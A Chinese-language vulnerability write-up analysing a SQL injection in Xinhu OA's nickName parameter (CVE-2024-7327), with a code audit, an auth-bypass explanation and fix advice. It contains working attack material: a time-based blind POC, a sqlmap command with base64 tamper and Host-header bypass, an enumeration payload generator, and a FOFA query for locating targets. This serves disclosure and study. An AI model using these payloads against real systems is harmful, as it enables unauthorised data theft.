代码审计-信呼OA nickName SQL注入漏洞(XVE-2024-19304)
字数 2139 2025-09-01 11:25:53
信呼OA nickName SQL注入漏洞(XVE-2024-19304 & CVE-2024-7327) 深入分析与利用指南
1. 漏洞概述
1.1 基本信息
- 漏洞名称: 信呼OA nickName SQL注入漏洞
- 漏洞编号: XVE-2024-19304 & CVE-2024-7327
- 影响系统: 信呼OA办公系统
- 影响版本: v2.6.2之前的所有版本
- 漏洞类型: SQL注入
- 漏洞位置:
/webmain/task/openapi/openmodhetongAction.php文件的dataAction函数
1.2 漏洞描述
该漏洞由于未对用户可控的nickName参数进行有效过滤,导致攻击者可构造恶意SQL语句,从而执行任意数据库操作。漏洞点位于开放API接口,且缺乏有效的鉴权机制,使得攻击者可以相对容易地利用此漏洞。
2. 环境搭建
2.1 准备工作
- 下载信呼OA v2.6.2版本:
https://xinhu-1251238447.file.myqcloud.com/file/xinhu_utf8_v2.6.2.zip - 安装小皮面板或其他PHP环境
- 准备MySQL数据库
2.2 安装步骤
- 解压下载的zip文件到网站根目录
- 访问
http://xinhu:8000/开始安装 - 创建MySQL数据库
rockxinhu - 导入数据库文件
webmain/install/rockxinhu.sql - 到信呼官网注册并获取key
- 返回安装页面,配置数据库连接信息和官网key
- 完成安装
3. 漏洞分析
3.1 漏洞位置
- 文件路径:
/webmain/task/openapi/openmodhetongAction.php - 漏洞函数:
dataAction - 关键参数:
nickName
3.2 漏洞原理
nickName参数通过GET方式传递- 参数值经过base64解码后直接拼接到SQL查询中
- 由于缺乏有效的过滤和参数化查询,导致SQL注入
3.3 代码审计关键点
-
参数传递流程:
index.php处理URL路由- 参数通过
m(模块)、d(目录)、a(动作)指定访问路径 nickName参数直接通过GET方式获取
-
SQL注入点分析:
$nickName = base64_decode($this->get('nickName')); $uarr['name'] = $nickName; $this->record($uarr);nickName参数经过base64解码后直接放入数组- 数组直接传递给
record方法进行数据库操作
-
过滤机制分析:
- 虽然系统有
__construct魔术方法对关键字进行过滤 - 但由于参数经过base64编码,过滤机制被绕过
jmuncode方法中的单引号转义对base64编码的payload无效
- 虽然系统有
3.4 鉴权机制分析
-
继承链分析:
openmodhetongClassAction→openapiAction→mainActionmainAction的__construct方法自动调用initAction
-
鉴权检查:
openapiAction中的initAction方法检查openkey- 但存在以下绕过条件:
$this->keycheck为false- 主机是127.0.0.1
- 主机IP包含192.168
- 服务端未配置openkey
4. 漏洞利用
4.1 手工验证POC
GET /index.php?m=openmodhetong|openapi&d=task&a=data&ajaxbool=0&nickName=MScgYW5kIHNsZWVwKDUpIw== HTTP/1.1
Host: 127.0.0.1
其中:
MScgYW5kIHNsZWVwKDUpIw==是1' and sleep(5)#的base64编码- 成功利用表现为响应延迟5秒
4.2 SQLMap自动化利用
python sqlmap.py -u "http://xinhu:8000/index.php?m=openmodhetong|openapi&d=task&a=data&ajaxbool=0&nickName=MS" -p nickName --tamper=base64encode --host="127.0.0.1" --batch --dbms=mysql --level=3 --risk=3
重要参数说明:
--tamper=base64encode: 对payload进行base64编码--host="127.0.0.1": 绕过openkey检查--level=3 --risk=3: 因为调用的是record方法(INSERT/UPDATE操作)
4.3 手工注入技术
4.3.1 数据库名枚举
1' AND IF(SUBSTRING(DATABASE(),1,1)='r',SLEEP(5),1)#
base64编码后:
MScgQU5EIElGKFNVQlNUUklORyhEQVRBQkFTRSgpLDEsMSk9J3InLFNMRUVQKDUpLDEpIw==
4.3.2 Burp Intruder爆破配置
-
生成字典:
def generate_sqli_payloads(): characters = 'abcdefghijklmnopqrstuvwxyz' payloads = [] for position in range(1, 11): for char in characters: payload = f"1' AND IF(SUBSTRING(DATABASE(),{position},1)='{char}',SLEEP(3),1)#" payloads.append(payload) return payloads -
Burp配置:
- Payload类型:Simple list
- 取消URL编码
- 添加Payload Processing规则:Base64-encode
- 设置单线程(避免干扰时间判断)
5. 漏洞修复建议
-
升级版本:
- 升级到v2.6.2或更高版本
-
临时修复措施:
- 对
nickName参数进行严格过滤 - 使用参数化查询或预处理语句
- 加强
openkey的校验机制 - 限制API接口的访问权限
- 对
-
代码层面修复:
- 在
openmodhetongAction.php中添加参数过滤 - 实现严格的输入验证
- 使用ORM或安全的数据库查询方法
- 在
6. 网络测绘
使用FOFA语法搜索受影响系统:
app="信呼-OA系统"
7. 参考资料
8. 漏洞利用注意事项
- 法律合规: 未经授权的测试可能违法,务必获得书面授权
- 影响评估: 该漏洞可导致数据泄露、篡改或系统沦陷
- 测试环境: 建议在隔离环境中进行漏洞验证
- 时间盲注: 注意网络延迟对时间盲注判断的影响
- 绕过技巧: 实际环境中可能需要尝试多种Host头绕过方式
通过本文的详细分析,安全研究人员可以全面了解该漏洞的原理、利用方法和防御措施,为信呼OA系统的安全防护提供有力支持。